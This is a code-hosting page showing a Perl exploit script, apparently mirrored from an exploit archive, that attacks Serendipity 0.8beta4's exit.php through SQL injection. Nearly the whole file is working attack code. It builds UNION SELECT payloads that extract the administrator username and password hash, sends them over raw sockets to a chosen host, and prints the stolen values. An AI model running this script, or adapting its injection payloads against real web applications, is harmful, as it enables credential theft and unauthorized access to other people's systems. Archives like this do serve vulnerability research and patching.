PageRenderTime 47ms CodeModel.GetById 21ms RepoModel.GetById 0ms app.codeStats 0ms

/exploits/php/webapps/939.pl

https://bitbucket.org/DinoRex99/exploit-database
Perl | 64 lines | 44 code | 12 blank | 8 comment | 6 complexity | d8bf7671162310dc82fe4c7d1793eb62 MD5 | raw file
Possible License(s): GPL-2.0
  1. #!/usr/bin/perl
  2. # Serendipity 0.8beta4 exit.php SQL Injection exploit
  3. # (c) ADZ Security Team 2004-2005
  4. # (c) kreon 2005
  5. # http://adz.void.ru/
  6. # kre0n@mail.ru
  7. # Public :)
  8. print "\n\n";
  9. print "# Serendipity 0.8beta4 exit.php SQL Injection exploit\n";
  10. print "# (C) ADZ Security Team 2004-2005\n";
  11. print "# (C) kreon 2005\n";
  12. use IO::Socket;
  13. use Getopt::Std;
  14. getopt("h:d:p:t:");
  15. $opt_p ||= 80;
  16. $opt_d ||= "/";
  17. $opt_t ||= "serendipity_";
  18. if(!$opt_h) {
  19. die("# Usage: $0 -h <host> [-d <dir>] [-p <port>] [-t table_prefix]\n");
  20. }
  21. $sqlpass = "?entry_id=1&url_id=1%20UNION%20SELECT%20password%20FROM%20".$opt_t."authors%20WHERE%20userlevel=255/*";
  22. $sqllogin = "?entry_id=1&url_id=1%20UNION%20SELECT%20username%20FROM%20".$opt_t."authors%20WHERE%20userlevel=255/*";
  23. print "# Host: $opt_h\n";
  24. print "# Dir: $opt_d\n";
  25. print "# Port: $opt_p\n";
  26. print "# Prefix: $opt_t\n";
  27. $Q1 = "GET ".$opt_d."/exit.php".$sqllogin." HTTP/1.0\n";
  28. $Q1 .= "Host: ".$opt_h."\n\n";
  29. $Q2 = "GET ".$opt_d."/exit.php".$sqlpass." HTTP/1.0\n";
  30. $Q2 .= "Host: ".$opt_h."\n\n";
  31. $s = IO::Socket::INET->new(Proto => 'tcp', PeerAddr => $opt_h, PeerPort => $opt_p) or die("Can't connect!");
  32. $s->send($Q1);
  33. $s->recv($txt, 1024);
  34. if($txt =~ m/location: (\S+)/i) {
  35. $login = $1;
  36. }
  37. $s = IO::Socket::INET->new(Proto=>'tcp', PeerAddr => $opt_h, PeerPort => $opt_p) or die("Can't connect!");
  38. $s->send($Q2);
  39. $s->recv($txt, 1024);
  40. if($txt =~ m/location: (\S+)/i) {
  41. $pass = $1;
  42. }
  43. if(!$login || !$pass || $login =~ m/http:\/\//i || $pass =~ m/http:\/\//i) {
  44. print "# Failed :(\n";
  45. exit;
  46. }
  47. print "# Succeed :)\n";
  48. print "# Login: $login\n";
  49. print "# Pass Hash: $pass\n";
  50. print "\n";
  51. # milw0rm.com [2005-04-13]